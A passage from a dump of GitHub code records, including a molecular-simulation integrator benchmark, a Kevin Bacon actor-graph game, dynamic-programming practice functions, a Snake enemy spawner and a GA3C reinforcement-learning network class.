{k}*y^2 + {k}*z^2\".format(k=100.0),),\n n_particles=n_particles)\n return testsystem.topology, testsystem.system, testsystem.positions\n\n\ndef load_constraint_coupled_harmonic_oscillators(*args, **kwargs):\n \"\"\"Load pair of constraint-coupled 3D harmonic oscillators\"\"\"\n testsystem = ConstraintCoupledHarmonicOscillator()\n return testsystem.topology, testsystem.system, testsystem.positions\n\n\ndef load_quartic_potential(*args, **kwargs):\n \"\"\"Load 3D quartic potential\"\"\"\n testsystem = CustomExternalForcesTestSystem((\"{k}*x^4 + {k}*y^4 + {k}*z^4\".format(k=100.0),),\n n_particles=n_particles)\n return testsystem.topology, testsystem.system, testsystem.positions\n\n\ndef load_mts_test(*args, **kwargs):\n \"\"\"\n n_particles : int\n number of identical, independent particles to add\n this is just an efficiency thing -- can simulate many replicates in parallel, instead of spending\n the openmm overhead to get a single replicate at a time\n\n to-do: maybe have the customintegrator keep track of the shadow work of each DOF separately?\n that way, our estimates / uncertainty estimates aren't messed up (e.g. it doesn't look like\n we have just 1,000 samples, when in fact we have 500,000 samples)\n to-do: maybe have the customintegrator keep track of the shadow work due to each force group separately?\n \"\"\"\n ks = [100.0, 400.0] # stiffness of each force group term\n # force group term 0 will be evaluated most slowly, etc...\n testsystem = CustomExternalForcesTestSystem(\n energy_expressions=[\"{k}*x^4 + {k}*y^4 + {k}*z^4\".format(k=k) for k in ks],\n n_particles=n_particles)\n return testsystem.topology, testsystem.system, testsystem.positions\n\n\nclass NumbaBookkeepingSimulator():\n def __init__(self, mass=10.0, beta=1.0,\n potential=lambda x: x ** 4,\n force=lambda x: -4.0 * x ** 3,\n name='quartic'\n ):\n self.mass = mass\n self.beta = beta\n self.velocity_scale = np.sqrt(1.0 / (beta * mass))\n\n def reduced_potential(x):\n return potential(x) * beta\n\n def log_q(x):\n return - reduced_potential(x)\n\n def q(x):\n return np.exp(log_q(x))\n\n self.potential = potential\n self.force = force\n self.reduced_potential = reduced_potential\n self.log_q = log_q\n self.q = q\n self.equilibrium_simulator = metropolis_hastings_factory(q)\n self.name = name\n self._path_to_samples = self.get_path_to_samples()\n self.cached = False\n\n def load_or_simulate_x_samples(self):\n \"\"\"If we've already collected and stored equilibrium samples, load those\n Otherwise, collect equilibrium samples\"\"\"\n\n self._path_to_samples = self.get_path_to_samples()\n if self.check_for_cached_samples():\n print(\"Cache found: loading...\")\n self.x_samples = self.load_equilibrium_samples()\n else:\n print(\"Cache not found: collecting equilibrium samples...\")\n self.x_samples = self.collect_equilibrium_samples()\n self.save_equilibrium_samples(self.x_samples)\n self.cached = True\n\n def collect_equilibrium_samples(self, n_samples=1000000):\n \"\"\"Collect equilibrium samples, return as (n_samples, ) numpy array\"\"\"\n equilibrium_samples = self.equilibrium_simulator(x0=np.random.randn(), n_steps=n_samples)\n return np.array(equilibrium_samples)\n\n def get_path_to_samples(self):\n \"\"\"Samples are {name}_samples.npy in DATA_PATH\"\"\"\n return os.path.join(DATA_PATH, '{}_samples.npy'.format(self.name))\n\n def check_for_cached_samples(self):\n \"\"\"Check if there's a file where we expect to find cached\n equilibrium samples.\n \"\"\"\n # TODO : Need to check if any of the simulation parameters have changed.\n return os.path.exists(self._path_to_samples)\n\n def save_equilibrium_samples(self, x_samples):\n \"\"\"Save numpy archive of equilibrium samples to disk.\"\"\"\n np.save(self._path_to_samples, x_samples)\n\n def load_equilibrium_samples(self):\n \"\"\"Load numpy archive of equilibrium samples\"\"\"\n print(\"Loading equilibrium samples from {}...\".format(self._path_to_samples))\n x_samples = np.load(self._path_to_samples)\n return x_samples\n\n def sample_x_from_equilibrium(self):\n \"\"\"Draw sample (uniformly, with replacement) from cache of configuration samples\"\"\"\n if self.cached == False:\n self.load_or_simulate_x_samples()\n return self.x_samples[np.random.randint(len(self.x_samples))]\n\n def sample_v_given_x(self, x):\n \"\"\"Sample velocity marginal. (Here, p(v) = p(v|x).)\"\"\"\n return np.random.randn() * self.velocity_scale\n\n\nquartic = NumbaBookkeepingSimulator()\ndouble_well = NumbaBookkeepingSimulator(potential=lambda x: x ** 6 + 2 * np.cos(5 * (x + 1)),\n force=lambda x: - (6 * x ** 5 - 10 * np.sin(5 * (x + 1))),\n name='double_well'\n )\n\n\nclass NumbaNonequilibriumSimulator():\n \"\"\"Nonequilibrium simulator, supporting shadow_work accumulation, and drawing x, v, from equilibrium.\n\n Numba integrators do this: xs, vs, Q, W_shads = numba_integrator(x0, v0, n_steps)\n \"\"\"\n\n def __init__(self, equilibrium_simulator, integrator):\n self.equilibrium_simulator, self.integrator = equilibrium_simulator, integrator\n\n def sample_x_from_equilibrium(self):\n \"\"\"Draw sample (uniformly, with replacement) from cache of configuration samples\"\"\"\n return self.equilibrium_simulator.sample_x_from_equilibrium()\n\n def sample_v_given_x(self, x):\n \"\"\"Sample velocities from Maxwell-Boltzmann distribution.\"\"\"\n return self.equilibrium_simulator.sample_v_given_x(x)\n\n def accumulate_shadow_work(self, x_0, v_0, n_steps):\n \"\"\"Run the integrator for n_steps and return the shadow work accumulated\"\"\"\n return self.integrator(x_0, v_0, n_steps)[-1]\n\n def collect_protocol_samples(self, n_protocol_samples, protocol_length, marginal=\"configuration\"):\n \"\"\"Perform nonequilibrium measurements, aimed at measuring the free energy difference for the chosen marginal.\"\"\"\n W_shads_F, W_shads_R = [], []\n xv_F, xv_R = [], []\n\n for _ in tqdm(range(n_protocol_samples)):\n x_0 = self.sample_x_from_equilibrium()\n v_0 = self.sample_v_given_x(x_0)\n xs, vs, Q, W_shads = self.integrator(x0=x_0, v0=v_0, n_steps=protocol_length)\n W_shads_F.append(W_shads)\n xv_F.append(np.vstack([xs, vs]).T)\n\n x_1 = xs[-1]\n if marginal == \"configuration\":\n v_1 = self.sample_v_given_x(x_1)\n elif marginal == \"full\":\n v_1 = vs[-1]\n else:\n raise NotImplementedError(\"`marginal` must be either 'configuration' or 'full'\")\n\n xs, vs, Q, W_shads = self.integrator(x0=x_1, v0=v_1, n_steps=protocol_length)\n W_shads_R.append(W_shads)\n xv_R.append(np.vstack([xs, vs]).T)\n\n return np.array(W_shads_F), np.array(W_shads_R), np.array(xv_F), np.array(xv_R)\n","repo_name":"choderalab/integrator-benchmark","sub_path":"benchmark/testsystems/low_dimensional_systems.py","file_name":"low_dimensional_systems.py","file_ext":"py","file_size_in_byte":7807,"program_lang":"python","lang":"en","doc_type":"code","stars":10,"dataset":"github-code","pt":"98"} +{"seq_id":"18988376403","text":"##Manil Bastola\n\nfrom edgedatagraph import *\nfrom queue import *\nfrom minpriorityqueue import *\nimport sys\n\ndef createActorGraph(movieFilename):\n \"\"\"Creates an EdgeDataGraph with actors as vertices where each actor is connected to every actor they've ever been in a movie with. The title of a shared movie is associated with the edge between every pair of actors.\"\"\"\n myGraph = EdgeDataGraph()\n fin = open(movieFilename, 'r', encoding = \"utf-8\") \n myLine = fin.readline()\n lineList = myLine.split(': ')\n data = lineList[1]\n myDict = {}\n while myLine != '':\n movie = lineList[1][:-1]\n myDict[movie] = []\n myLine = fin.readline()\n lineList = myLine.split(': ')\n while lineList[0] != 'Movie' and myLine != '':\n myDict[movie].append(lineList[-1][:-1])\n myLine = fin.readline()\n lineList = myLine.split(': ')\n for actor1 in myDict[movie]:\n for actor2 in myDict[movie]:\n if actor1 != actor2:\n myGraph.addEdge(actor1, actor2, movie)\n fin.close()\n return myGraph\n \ndef findPath(graph, fromActor, toActor):\n \"\"\"Returns a path using the shortest number of steps from fromActor to toActor.\"\"\"\n vertexQueue = Queue()\n\n #The status dictionary will keep track of the status of each\n #vertex we consider\n #0 - Untouched\n #1 - Added to the queue\n status = {}\n vertices = graph.getVertices()\n for v in vertices:\n status[v] = 0\n\n #The path dictionary keeps track of the path from start vertex\n #to each other vertex. Specifically, for each vertex we store\n #the vertex that added it to the queue.\n path = {}\n\n vertexQueue.put(fromActor)\n status[fromActor] = 1\n \n while not vertexQueue.empty():\n vertex = vertexQueue.get()\n \n if vertex == toActor:\n #Regenerate the path\n pathList = [toActor]\n previousVertex = path.get(vertex, None)\n while previousVertex != None:\n pathList.append(previousVertex)\n previousVertex = path.get(previousVertex, None)\n pathList.reverse()\n return pathList\n\n neighbors = graph.getAdjacentVertices(vertex) \n for n in neighbors:\n if status[n] == 0:\n vertexQueue.put(n)\n status[n] = 1\n path[n] = vertex\n\n #If we are here there is no path. Return None.\n return None\n\ndef findFamousPath(graph, fromActor, toActor, pathLength):\n \"\"\"Returns the path from fromActor to toActor of length pathLength with the maximum sum of degrees of the vertices along the path.\"\"\"\n visited = {}\n for item in graph.getVertices():\n visited[item] = False\n return findFamousPathHelper(graph, fromActor, toActor, pathLength, [], visited)[1] #calls helper function\n\ndef findFamousPathHelper(graph, fromActor, toActor, pathLength, curPath, visited):\n '''Helper function for findFamousPath that takes additional curPath and visited as parameters'''\n #Add a vertex to the current path.\n visited[fromActor] = True\n curPath.append(fromActor)\n #If the path is of the desired length and the current vertex is the target actor..\n if len(curPath) == pathLength and fromActor == toActor:\n copy = curPath[:]\n curPath.pop()\n visited[fromActor] = False\n sumDegree = 0\n for item in copy:\n sumDegree += len(graph.getAdjacentVertices(item))\n return (sumDegree, copy)\n #If the path is of the desired length but the current vertex is not the target actor..\n elif len(curPath) == pathLength and fromActor != toActor:\n curPath.pop()\n visited[fromActor] = False\n return (0, None)\n #Otherwise, recur to all as of yet unvisited neighbors..\n else:\n neighbors = graph.getAdjacentVertices(fromActor)\n sumDegree = len(neighbors)\n maxTuple = (0, None)\n for v in neighbors:\n if not visited[v]:\n newPath = findFamousPathHelper(graph, v , toActor, pathLength, curPath, visited)\n if newPath[0] > maxTuple[0]: #Return the path with the max sum of degrees.\n maxTuple = newPath\n curPath.pop()\n visited[fromActor] = False\n return maxTuple\n \ndef getDistanceDistribution(graph, actor):\n \"\"\"Returns a list where each element i contains the number of vertices i steps away from the given vertex.\"\"\"\n vertexQueue = Queue()\n lst=[]\n #The status dictionary will keep track of the status of each\n #vertex we consider\n #0 - Untouched\n #1 - Added to the queue\n status = {}\n #The distance dictionary will keep track of the degree of separation with sourceVertex of each\n #vertex we consider \n distance = {}\n vertices = graph.getVertices()\n for v in vertices:\n status[v] = 0\n distance[actor]=0\n vertexQueue.put(actor)\n status[actor] = 1\n while not vertexQueue.empty():\n vertex = vertexQueue.get()\n curPath = distance[vertex]\n if curPath >= len(lst):\n lst.append(0)\n lst[curPath]+= 1\n neighbors = graph.getAdjacentVertices(vertex) \n for n in neighbors:\n if status[n] == 0:\n vertexQueue.put(n)\n newPath = distance[vertex]+1\n distance[n] = newPath\n status[n] = 1\n return lst\n \ndef findObscurePath(graph, fromActor, toActor):\n \"\"\"Returns the path from fromActor to toActor that has the smallest sum of degrees amongst the vertices in the path.\"\"\"\n vertices = graph.getVertices()\n\n distances = {}\n for v in vertices:\n #sys.maxsize is effectively infinity (bigger than all other numbers)\n distances[v] = sys.maxsize\n distances[fromActor] = 0\n \n pq = MinPriorityQueue()\n pq.enqueue(fromActor, 0)\n\n predecessors = {}\n predecessors[fromActor] = None\n\n while not pq.isEmpty():\n curVertex = pq.dequeue()\n neighbors = graph.getAdjacentVertices(curVertex)\n for n in neighbors:\n compareDist = distances[curVertex] + len(graph.getAdjacentVertices(n))\n if compareDist < distances[n]:\n predecessors[n] = curVertex\n if distances[n] == sys.maxsize:\n #If the distance is infinite, this vertex is not\n #on the PQ\n pq.enqueue(n, compareDist)\n else:\n #It is already on the PQ\n pq.decreasePriority(n, distances[n], compareDist)\n distances[n] = compareDist\n\n paths = {}\n for v in vertices:\n if distances[v] < sys.maxsize:\n pathList = [v]\n previousVertex = predecessors[v]\n while previousVertex != None:\n pathList.append(previousVertex)\n previousVertex = predecessors[previousVertex]\n pathList.reverse()\n paths[v] = pathList\n else:\n paths[v] = None\n return paths[toActor]\n\ndef actorInput(graph):\n \"\"\"Keeps asking the user for a name until the name is in the database.\"\"\"\n vertices = graph.getVertices()\n actor = input(\"Actor's name: \")\n while actor not in vertices:\n actor = input(\"Actor not in the database. Please select another: \")\n return actor\n\ndef printPath(graph, path):\n \"\"\"Takes a path of actors and prints it out nicely.\"\"\"\n for i in range(len(path) - 1):\n print(str(path[i]) + \" and \" + str(path[i + 1]) + \" were in \" + str(graph.getEdgeData(path[i], path[i + 1])))\n\ndef main():\n \"\"\"Plays the Kevin Bacon game!\"\"\"\n print(\"Creating actor graph...\")\n g = createActorGraph('top250.txt')\n \n center = \"Kevin Bacon\"\n quit = False\n while not quit:\n print(\"=\"*(len(center) + 19))\n print(\"Current center is: \" + center)\n print(\"=\"*(len(center) + 19))\n print(\"s) Get statistics for the center\")\n print(\"p) Find a path to another actor\")\n print(\"f) Find a famous path to another actor\")\n print(\"o) Find an obscure path to another actor\")\n print(\"c) Change the center\")\n print(\"q) Quit\")\n\n userChoice = input(\"Please select an option: \")\n while userChoice not in ['p', 's', 'f', 'o', 'c', 'q']:\n print(\"Option not recognized, please type p, s, f, o, c, or q\")\n userChoice = input(\"Please select an option: \")\n\n if userChoice == 'p':\n toActor = actorInput(g)\n path = findPath(g, center, toActor)\n if path == None:\n print(\"No path found!\")\n else:\n print(str(toActor) + \"'s \" + center + \" number is: \" + str(len(path) - 1))\n printPath(g, path)\n elif userChoice == 's':\n distanceDistribution = getDistanceDistribution(g, center)\n sumDist = 0\n totalConnected = 0\n for i in range(len(distanceDistribution)):\n sumDist += i*distanceDistribution[i]\n totalConnected += distanceDistribution[i]\n print(\"Average distance: \" + str(sumDist/totalConnected))\n print(\"Max distance: \" + str(len(distanceDistribution) - 1))\n print(\"Percent connected: \" + str(100*totalConnected/len(g.getVertices())))\n elif userChoice == 'f':\n toActor = actorInput(g)\n shortestPath = findPath(g, center, toActor)\n if shortestPath == None:\n print(\"No path found!\")\n else:\n famousPath = findFamousPath(g, center, toActor, len(shortestPath))\n printPath(g, famousPath)\n \n elif userChoice == 'o':\n toActor = actorInput(g)\n obscurePath = findObscurePath(g, center, toActor)\n if obscurePath == None:\n print(\"No path found!\")\n else:\n printPath(g, obscurePath)\n\n elif userChoice == 'c':\n center = actorInput(g)\n elif userChoice == 'q':\n quit = True\n input(\"(hit enter to continue)\")\n\nmain()\n\n########################################################################\n\n","repo_name":"mbastola/Algorithms-Data-Structures-in-Python","sub_path":"Kevin Bacon Game/kevinbacon.py","file_name":"kevinbacon.py","file_ext":"py","file_size_in_byte":10214,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"98"} +{"seq_id":"24609569870","text":"import csv\nimport random\n\nrandom1000 = [random.uniform(0.0, 1.0) for i in range(1000)]\ntest_set = list()\ntraining_set = None\nheader = None\n\nwith open(\"image.genre.listing.csv\", newline=\"\") as csvfile:\n\treader = list(csv.reader(csvfile, delimiter=\",\"))\n\theader = reader.pop(0)\n\ttotal = len(reader)\n\tfor i in range (1000):\n\t\tindex = int(random1000[i] * (total - i))\n\t\ttest_set.append(reader[index])\n\t\treader.pop(index)\n\ttraining_set = reader\n\nwith open(\"test.image.genre.listing.csv\", \"w\", newline=\"\") as csvfile:\n\twriter = csv.writer(csvfile)\n\twriter.writerow(header)\n\tfor row in test_set:\n\t\twriter.writerow(row)\n\nwith open(\"train.image.genre.listing.csv\", \"w\", newline=\"\") as csvfile:\n\twriter = csv.writer(csvfile)\n\twriter.writerow(header)\n\tfor row in training_set:\n\t\twriter.writerow(row)\n","repo_name":"lostkuma/CNN","sub_path":"1000_random_training.py","file_name":"1000_random_training.py","file_ext":"py","file_size_in_byte":789,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"98"} +{"seq_id":"38410146764","text":"'''套路:\n最优子结构并不是动态规划独有的一种性质,能求最值的问题大部分都具有这个性质;\n但反之最优子结构性质作为动态规划问题的必要条件,一定是需要求最值的。\n恶心人的最值题——动态规划\n符合最优子结构,但不一定能够用动态规划,因为没有重叠子问题!\n'''\n# N叉树遍历问题\n# 经典找零钱问题\ndef coinChange(coins, amount):\n def dp(n):\n if n == 0:\n return 0\n if n < 0:\n return -1\n res = float('inf')\n for coin in coins:\n subproblem = dp(n - coin)\n if subproblem == -1:\n continue\n res = min(res, 1 + subproblem)\n return res if res != float('inf') else -1\n return dp(amount)\n\ndef coinChange2(coins, amount):\n memos = dict()\n def dp(n):\n if n in memos:\n return memos[n]\n if n == 0:\n return 0\n if n < 0:\n return -1\n res = float('inf')\n for coin in coins:\n subproblem = dp(n - coin)\n if subproblem == -1:\n continue\n res = min(res, 1 + subproblem)\n memos[n] = res if res != float('inf') else -1\n return memos[n]\n return dp(amount)\n\ndef coinChange3(coins, amount):\n dp = [amount + 1] * (amount + 1)\n dp[0] = 0\n for i in range(len(dp)):\n for coin in coins:\n if (i - coin) < 0:\n continue\n dp[i] = min(dp[i], 1 + dp[i - coin])\n return dp[amount] if dp[amount] != amount + 1 else -1\n \n# 经典回溯N皇后问题\nres = []\ndef backtrack(nums, track):\n if len(track) == len(nums):\n global res\n res.append(track)\n return\n \n for num in nums:\n if num in track:\n continue\n track.append(num)\n backtrack(nums, track)\n track.pop(-1)\n\n# fib\ndef fib(n):\n if n == 1 or n == 2:\n return 1\n return fib(n-1) + fib(n-2)\n\ndef fib2(n):\n nums = [1, 1]\n for i in range(2, n):\n nums = nums[i-1] + nums[i-2]\n return nums[i-1]\n\ndef fib3(n):\n if n < 1:\n return 0\n memos = [0] * (n+1)\n return helper(memos, n)\n\ndef helper(memos, n):\n if n == 1 or n == 2:\n return 1\n if memos[n] != 0:\n return memos[n]\n memos[n] = helper(memos, n-1) + helper(memos, n-2)\n return memos[n]\n\n# the best method: space conplexity is O(1)\ndef fib(n):\n if n == 2 or n == 1:\n return 1\n prev,curr = 1, 1\n for i in range(3, n+1):\n sum = prev + curr\n prev = curr\n curr = sum\n return curr\n\n\n\ndef minDistance(s1, s2):\n def dp(i, j):\n if i == -1:\n return j + 1\n if j == -1:\n return i + 1\n \n if s1[i] == s2[j]:\n return dp(i - 1, j - 1)\n else:\n return min(\n dp(i, j - 1) + 1, # 插入\n dp(i - 1, j) + 1, # 删除\n dp(i - 1, j - 1) + 1 # 替换\n )\n return dp(len(s1) - 1, len(s2) - 1)\n\n\ndef minDistance_memo(s1, s2):\n memo = dict()\n def dp(i, j):\n if (i, j) in memo:\n return memo[(i, j)]\n if i == -1:\n memo[(i, j)] = j + 1\n if j == -1:\n memo[(i, j)] = i + 1\n if s1[i] == s2[j]:\n memo[(i, j)] = dp(i-1, j-1)\n else:\n memo[(i, j)] = min(\n dp(i, j - 1) + 1, # 插入\n dp(i - 1, j) + 1, # 删除\n dp(i - 1, j - 1) + 1 # 替换\n )\n return memo[(i, j)]\n\ndef minDistance_dp(s1, s2):\n m = len(s1)\n n = len(s2)\n dp = [[0] * (n + 1) for i in range(m + 1)]\n for i in range(m):\n dp[i+1][0] = i+1\n for j in range(n):\n dp[0][j+1] = j+1\n for i in range(1, m+1, 1):\n for j in range(1, n+1, 1):\n if s1[i - 1] == s2[j - 1]:\n dp[i][j] = dp[i - 1][j - 1]\n else:\n dp[i][j] = min(\n dp[i - 1][j] + 1,\n dp[i][j - 1] + 1,\n dp[i - 1][j - 1] + 1\n )\n return dp[m][n]\n\nclass TableNode:\n def __init__(self, val):\n self.val = val \n self.choice = 0\n # 0: none\n # 1: insert\n # 2: delete\n # 3: replace\n\n# 降低空间复杂度\ndef minDistance_space(s1, s2):\n m = len(s1)\n n = len(s2)\n dp = [[TableNode(0)] * (n + 1) for i in range(m + 1)]\n for i in range(m):\n dp[i+1][0].val = i+1\n dp[i+1][0].choice = 2\n for j in range(n):\n dp[0][j+1].val = j+1\n dp[0][j+1].choice = 2\n for i in range(1, m+1, 1):\n for j in range(1, n+1, 1):\n if s1[i - 1] == s2[j - 1]:\n dp[i][j].val = dp[i - 1][j - 1].val\n dp[i][j].choice = 0\n else:\n dp[i][j].val = min(\n dp[i - 1][j].val + 1,\n dp[i][j - 1].val + 1,\n dp[i - 1][j - 1].val + 1\n )\n if dp[i][j].val == dp[i - 1][j].val + 1:\n dp[i][j].choice = 2\n elif dp[i][j].val == dp[i][j - 1].val + 1:\n dp[i][j].choice = 1\n elif dp[i][j].val == dp[i-1][j-1].val + 1:\n dp[i - 1][j - 1].choice = 3\n return dp[m][n]\n\ndef getPath(dp, m, n):\n ans = []\n while m >= 0 and n >= 0:\n tmp_choice = dp[m][n].choice\n if tmp_choice == 0:\n m -= 1\n n -= 1\n elif tmp_choice == 1:\n n -= 1\n elif tmp_choice == 2:\n m -= 1\n elif tmp_choice == 3:\n m -= 1\n n -= 1\n ans.append(tmp_choice)\n return reversed(ans)\n\n\ndef dp(i, j):\n dp(i - 1, j -1)\n dp(i, j - 1)\n dp(i - 1, j)\n\n\n","repo_name":"Currycurrycurry/FDSS_Algorithm","sub_path":"labuladong/dp/coins.py","file_name":"coins.py","file_ext":"py","file_size_in_byte":5804,"program_lang":"python","lang":"en","doc_type":"code","stars":43,"dataset":"github-code","pt":"98"} +{"seq_id":"18580306049","text":"import random, pygame\r\nfrom Config import Config as C\r\nfrom pygame import Rect\r\nfrom GameObject import GameObject\r\nfrom Dir import Dir\r\n\r\nclass EnemySpawner(GameObject):\r\n # This is EnemySpawner()\r\n\r\n def __init__(self):\r\n self.enemies = set()\r\n self.destroyed_enemy_count = 0\r\n\r\n def generate(self, snake_body):\r\n if random.randrange(0, 100) >= 92 and len(snake_body) % 5 == 0:\r\n x = random.randrange(0, C.WIDTH / C.SQUARE_SIZE)\r\n y = random.randrange(0, C.HEIGHT / C.SQUARE_SIZE)\r\n\r\n # Check for initial collisions because they can be weird\r\n while (x, y) in snake_body:\r\n x = random.randrange(0, C.WIDTH / C.SQUARE_SIZE)\r\n y = random.randrange(0, C.HEIGHT / C.SQUARE_SIZE)\r\n\r\n if len(self.enemies) < 5:\r\n self.enemies.add((x, y))\r\n\r\n def check_collision(self, snake):\r\n head = snake.head\r\n snake_rect = Rect(head[0]*C.SQUARE_SIZE, head[1]*C.SQUARE_SIZE, C.SQUARE_SIZE, C.SQUARE_SIZE)\r\n\r\n # Gen and check collision rects for all enemies registered\r\n for enemy in self.enemies:\r\n enemy_rect = Rect(enemy[0]*C.SQUARE_SIZE, enemy[1]*C.SQUARE_SIZE, C.SQUARE_SIZE, C.SQUARE_SIZE)\r\n\r\n if Rect.colliderect(snake_rect, enemy_rect):\r\n self.enemies.remove(enemy)\r\n return True\r\n\r\n return False\r\n\r\n def update(self, snake):\r\n self.generate(snake.body)\r\n\r\n new_enemies = []\r\n\r\n for enemy in self.enemies:\r\n for dir in Dir.DIRECTIONS:\r\n if random.randrange(0, 100) >= 99:\r\n new_enemies.append((enemy[0] + dir[0], enemy[1] + dir[1]))\r\n\r\n for e in new_enemies:\r\n self.enemies.add(e)\r\n\r\n if self.check_collision(snake):\r\n return True\r\n return False\r\n\r\n def draw(self, screen):\r\n for e in self.enemies:\r\n rect = Rect(e[0]*C.SQUARE_SIZE, e[1]*C.SQUARE_SIZE, C.SQUARE_SIZE, C.SQUARE_SIZE)\r\n pygame.draw.rect(screen, C.RED, rect)\r\n\r\n def destroy(self):\r\n self.destroyed_enemy_count += len(self.enemies)\r\n self.enemies = set()\r\n","repo_name":"emil-ronkainen/Snake","sub_path":"EnemySpawner.py","file_name":"EnemySpawner.py","file_ext":"py","file_size_in_byte":2188,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"98"} +{"seq_id":"41656465734","text":"import os\nimport re\nimport numpy as np\nimport tensorflow as tf\n\nfrom ga3c.Config import Config\nfrom ga3c.network.Model import create_p_and_v_models\nfrom ga3c.Utility import mean_huber_loss\n\nclass Network:\n def __init__(self, device, model_name, num_actions):\n self.device = device\n self.model_name = model_name\n self.num_actions = num_actions\n\n self.img_width = Config.IMAGE_WIDTH\n self.img_height = Config.IMAGE_HEIGHT\n self.img_channels = Config.STACKED_FRAMES\n\n self.learning_rate = Config.LEARNING_RATE_START\n self.beta = Config.BETA_START\n self.log_epsilon = Config.LOG_EPSILON\n\n self.log_path = 'ga3c_output/logs/%s' % self.model_name\n self.checkpoint_path = 'ga3c_output/checkpoints/%s' % self.model_name\n\n if not os.path.exists(self.checkpoint_path):\n os.makedirs(self.checkpoint_path)\n\n self.graph = tf.Graph()\n with self.graph.as_default() as g:\n with tf.device(self.device):\n self._create_graph()\n\n self.sess = tf.Session(\n graph=self.graph,\n config=tf.ConfigProto(\n allow_soft_placement=True,\n log_device_placement=False,\n gpu_options=tf.GPUOptions(allow_growth=True)))\n self.sess.run(tf.global_variables_initializer())\n\n if Config.TENSORBOARD: self._create_tensor_board()\n if Config.LOAD_CHECKPOINT or Config.SAVE_MODELS:\n vars = tf.global_variables()\n self.saver = tf.train.Saver({var.name: var for var in vars}, max_to_keep=0)\n \n\n def _create_graph(self):\n self.x = tf.placeholder(tf.float32, [None, self.img_height, self.img_width, self.img_channels], name='X')\n self.y_r = tf.placeholder(tf.float32, [None], name='Yr')\n self.action_index = tf.placeholder(tf.float32, [None, self.num_actions])\n\n p_model, v_model = create_p_and_v_models(self.model_name, \n self.num_actions, \n self.img_height, \n self.img_width, \n self.img_channels)\n self.softmax_p = p_model(self.x)\n self.logits_v = v_model(self.x)\n\n logits_v_flat = tf.reshape(self.logits_v, shape=[-1]);\n logits_p_masked = tf.reduce_sum(tf.multiply(self.softmax_p, self.action_index), reduction_indices=1)\n self.cost_p = mean_huber_loss(logits_p_masked, self.y_r - logits_v_flat, max_grad=Config.GRAD_CLIP_NORM)\n self.cost_v = tf.reduce_mean(tf.square(self.y_r - self.logits_v)) / 2\n\n total_loss = self.cost_p + self.cost_v\n\n self.global_step = tf.Variable(0, trainable=False, name='step')\n self.var_learning_rate = tf.placeholder(tf.float32, name='lr', shape=[])\n optimizer = tf.train.AdamOptimizer(self.var_learning_rate)\n self.train_op = optimizer.minimize(total_loss, global_step=self.global_step)\n\n def _create_tensor_board(self):\n summaries = tf.get_collection(tf.GraphKeys.SUMMARIES)\n max_p = tf.reduce_mean(tf.reduce_max(self.softmax_p, reduction_indices=[1]))\n mean_v = tf.reduce_mean(self.logits_v)\n\n summaries.append(tf.summary.scalar(\"Max Policy\", max_p))\n summaries.append(tf.summary.scalar(\"Value\", mean_v))\n summaries.append(tf.summary.scalar(\"Pcost\", self.cost_p))\n summaries.append(tf.summary.scalar(\"Vcost\", self.cost_v))\n summaries.append(tf.summary.scalar(\"LearningRate\", self.var_learning_rate))\n\n self.summary_op = tf.summary.merge(summaries)\n self.log_writer = tf.summary.FileWriter(self.log_path, self.sess.graph)\n\n def __get_base_feed_dict(self):\n return {self.var_learning_rate: self.learning_rate}\n \n def predict_p_and_v(self, x):\n return self.sess.run([self.softmax_p, self.logits_v], feed_dict={self.x: x})\n \n def train(self, x, y_r, a, trainer_id):\n feed_dict = self.__get_base_feed_dict()\n if y_r.ndim == 2 and y_r.shape[0] > 1 and y_r.shape[1] == 1:\n y_r = np.squeeze(y_r)\n elif y_r.ndim == 2 and y_r.shape == (1,1):\n y_r = y_r[0]\n feed_dict.update({self.x: x, self.y_r: y_r, self.action_index: a})\n self.sess.run(self.train_op, feed_dict=feed_dict)\n\n def log(self, x, y_r, a):\n feed_dict = self.__get_base_feed_dict()\n if y_r.ndim == 2 and y_r.shape[0] > 1 and y_r.shape[1] == 1:\n y_r = np.squeeze(y_r)\n elif y_r.ndim == 2 and y_r.shape == (1,1):\n y_r = y_r[0]\n feed_dict.update({self.x: x, self.y_r: y_r, self.action_index: a})\n step, summary = self.sess.run([self.global_step, self.summary_op], feed_dict=feed_dict)\n self.log_writer.add_summary(summary, step)\n\n def _checkpoint_filename(self, episode):\n return os.path.join(self.checkpoint_path, '%s_%08d' % (self.model_name, episode))\n \n def _get_episode_from_filename(self, filename):\n # TODO: hacky way of getting the episode. ideally episode should be stored as a TF variable\n return int(re.split('/|_|\\.', filename)[-1])\n\n def save(self, episode):\n self.saver.save(self.sess, self._checkpoint_filename(episode))\n\n def load(self):\n filename = tf.train.latest_checkpoint(os.path.dirname(self._checkpoint_filename(episode=0)))\n if Config.LOAD_EPISODE > 0:\n filename = self._checkpoint_filename(Config.LOAD_EPISODE)\n self.saver.restore(self.sess, filename)\n return self._get_episode_from_filename(filename)\n","repo_name":"Amarjyotismruti/AI2-THOR-GA3C","sub_path":"ga3c/network/Network.py","file_name":"Network.py","file_ext":"py","file_size_in_byte":5727,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"98"} +{"seq_id":"6655006158","text":"from experiment_launcher import Launcher\n\nif __name__ == '__main__':\n local = False\n test = False\n exp = 'big'\n #exp = 'small'\n\n launcher = Launcher(exp_name='metricrl',\n python_file='exp_gym',\n n_exps=25,\n memory=2000,\n hours=24,\n minutes=0,\n seconds=0,\n joblib_n_jobs=5,\n partition='test24',\n use_timestamp=True)\n\n if exp == 'big':\n envs = ['HopperBulletEnv-v0', 'Walker2DBulletEnv-v0', 'HalfCheetahBulletEnv-v0', 'AntBulletEnv-v0']\n temp_per_envs = [1., 1., .33, .33]\n n_epochs = 1000\n\n n_clusterss = [10, 20, 40]\n\n elif exp == 'small':\n envs = ['MountainCarContinuous-v0', 'BipedalWalker-v3', 'Pendulum-v0', 'InvertedPendulumBulletEnv-v0',\n 'InvertedPendulumSwingupBulletEnv-v0', 'InvertedDoublePendulumBulletEnv-v0']\n temp_per_envs = [1., 1., 1., 1., 1., 1., 1.]\n n_epochs = 500\n\n n_clusterss = [5, 10, 20]\n\n else:\n raise RuntimeError\n\n launcher.add_default_params(\n n_epochs=n_epochs,\n n_steps=3008,\n n_steps_per_fit=3008,\n n_episodes_test=5,\n )\n\n for env, temp in zip(envs, temp_per_envs):\n launcher.add_default_params(temp=temp)\n for n_clusters in n_clusterss:\n 